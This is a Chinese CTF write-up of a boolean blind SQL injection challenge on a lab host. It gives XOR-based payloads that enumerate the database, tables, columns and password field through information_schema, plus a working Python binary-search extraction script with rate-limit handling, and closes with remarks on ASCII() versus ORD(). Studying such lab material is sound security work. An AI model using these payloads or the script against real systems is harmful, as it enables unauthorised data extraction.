一、题目背景与注入点定位
-  题目类型 
 本题为 SQL盲注 题目,主要考察布尔盲注的利用能力。注入点位于search.php的id参数,而非登录框(check.php的过滤较严格)。
-  页面响应特征 - id=1-6返回固定提示(如- id=3显示 “Ohhh You find the flag read on!”,但并非真实 flag)。
- id=7或负数时返回 “ERROR”,- id=1^1等异或操作会触发错误回显,用于布尔盲注的条件判断。
 
二、核心解题思路
-  异或注入原理 
 利用^(异或运算符)构造布尔条件:- 1^(条件)=0时- ERROR(条件为真,即- 1^1=0,即- ?id=0)。
- 1^(条件)=1时- NO! Not this! Click others~~~页面(条件为假,即- 1^0=0,即- ?id=1)。
 通过页面回显差异判断条件是否成立。
 
-  注入流程 
 步骤一:获取数据库名payload = "^(ascii(substr(database(),{},1))>{})".format(i,mid) # .format(i,mid)将变量 `i` 和 `mid` 的值动态插入到字符串的占位符 `{}` 中) # 结果为 'geek'步骤二:爆破表名 payload = "^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),{},1))>{})".format(i,mid) # 结果为 'F1naI1y,Flaaaaag'步骤三:获取列名 - Flaaaaag表列名为- id,fl4gawsl(无用信息)。
- F1naI1y表列名为- id,username,password(关键列)。
 payload = "^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name)='F1naI1y'),{},1))>{})".format(i,mid) # 结果为 'id,username,password'步骤四:爆破密码列 payload = "^(ascii(substr((select(group_concat(password))from(F1naI1y)),{},1))>{})".format(i,mid) # 最终得到 flag 存储在 `id=9` 的 `password` 字段。
三、关键脚本与实现
二分法盲注脚本
使用 Python 的 requests 库结合二分法加速爆破过程,核心逻辑如下:
import requests  # 导入requests库用于发送HTTP请求
import time      # 导入time库处理请求频率限制# 目标URL(漏洞点)
url = 'http://71a22f58-532f-42bd-ac43-bafe4fe96738.node5.buuoj.cn:81/search.php?id=1'
res = ''  # 存储最终爆破结果# 遍历每个字符位置(假设字段长度不超过500)
for i in range(1, 500):# print('当前第',i,'轮:')# ascii码中可以显示的字符编码从起始值32(空格)开始到终止值126(~)left = 31    right = 127  mid = left + ((right - left) >> 1)  # 将数值除以 2 并向下取整,位运算优化二分中点计算,避免传统写法`mid = (left + right) // 2`计算(left + right)时超过整数最大值可能会导致溢出的问题,且位运算比除法更快# 二分查找当前字符的ASCII值while left < right:# -----------------------------------------------------------# 根据不同阶段注释切换payload(按需解除注释):# -----------------------------------------------------------# 1. 爆破数据库名# payload = "^(ascii(substr(database(),{},1))>{})".format(i,mid)# 2. 爆破表名(假设库名为geek)# payload = "^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),{},1))>{})".format(i,mid)# 3. 爆破列名(假设表名为Flaaaaag)# payload = "^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name)='Flaaaaag'),{},1))>{})".format(i,mid)# 4. 当前正在爆破F1naI1y表的password字段(活跃payload)payload = "^(ascii(substr((select(group_concat(password))from(F1naI1y)),{},1))>{})".format(i,mid)# -----------------------------------------------------------# 发送带payload的请求r = requests.get(url = url + payload)# time.sleep(0.1)  # 方法一:每次都等待0.1秒# 方法二:处理429 Too Many Requests(请求频率限制)if r.status_code == 429:# print('请求过快!!!')time.sleep(2)                             # 等待2秒r = requests.get(url = url + payload)     # 重新请求# 布尔盲注判断:根据页面响应调整二分边界,注意一定不能让请求过快导致错误的回应报文跑到这里来否则会出现错误if 'Click' in r.text:  # 条件为假时right = mid        # 目标ASCII值小于等于mid  else:                  # 条件为真时left = mid + 1     # 目标ASCII值大于midmid = left + ((right - left) >> 1)  # 更新中点# 终止条件:到达ASCII边界(说明字段已爆破完毕)if mid == 127 or mid == 31:print('最终结果:',res)              # 打印最终爆破结果breakres += chr(mid)  # 将ASCII转为字符并追加到结果print(res)  # 打印当前爆破进度
四、知识点总结
-  布尔盲注技术 - 依赖页面回显差异判断条件真伪,结合 ascii、substr等函数逐字符爆破。
- 异或运算简化条件构造,避免复杂语句被过滤。
 
- 依赖页面回显差异判断条件真伪,结合 
-  信息获取流程 - 通过 information_schema获取数据库结构(表名、列名)。
- 优先爆破关键表(如含 password列的表)。
 
- 通过 
-  脚本优化 - 二分法:显著减少请求次数,提升效率。
- 异常处理:应对反爬机制(如请求限速)。
 
ascii()和ord()
 
在SQL注入Payload中,ASCII()和ORD()函数的功能高度相似,但能否直接替换需要结合具体数据库类型及字符编码环境来分析:
1. 功能对比
- ASCII():仅返回字符串第一个字符的ASCII码值。例如,- ASCII('hi')返回- h的ASCII值104 。
- ORD():在单字节字符(如英文字母、数字)场景下,功能与- ASCII()完全一致;但若字符是多字节(如UTF-8编码的汉字),- ORD()会计算多字节的联合值(例如- ORD('简')返回15183488,涉及UTF-8编码规则)。
2. 替换可行性
- 单字节字符场景:若目标字段(如password)仅包含单字节字符(如字母、数字),ASCII()和ORD()可互换,例如ASCII('b')和ORD('b')均返回98 。
- 多字节字符场景:若字段包含中文或其他多字节字符,ORD()的返回值可能与ASCII()不同,可能导致盲注逻辑误判。例如,ASCII(SUBSTRING('简',1,1))可能返回首字节值,而ORD('简')返回完整编码值。
3. 数据库兼容性
- MySQL:支持ASCII()和ORD(),但需注意字符集(如UTF-8可能影响ORD()结果)。
- 其他数据库:部分数据库(如SQL Server)仅支持ASCII(),而ORD()可能不存在或行为不同。
4. 替换建议
"(ascii(substr((select(group_concat(password))from(F1naI1y)),{},1))>{})".format(i,mid)
若满足以下条件,可替换为ORD():
- 目标字段password仅含单字节字符;
- 数据库为MySQL且未使用多字节编码;
- 注入点对多字节编码不敏感。
否则建议保留ASCII()以保证兼容性,或结合数据库字符集调整逻辑(如通过SUBSTRING截取单字节)。
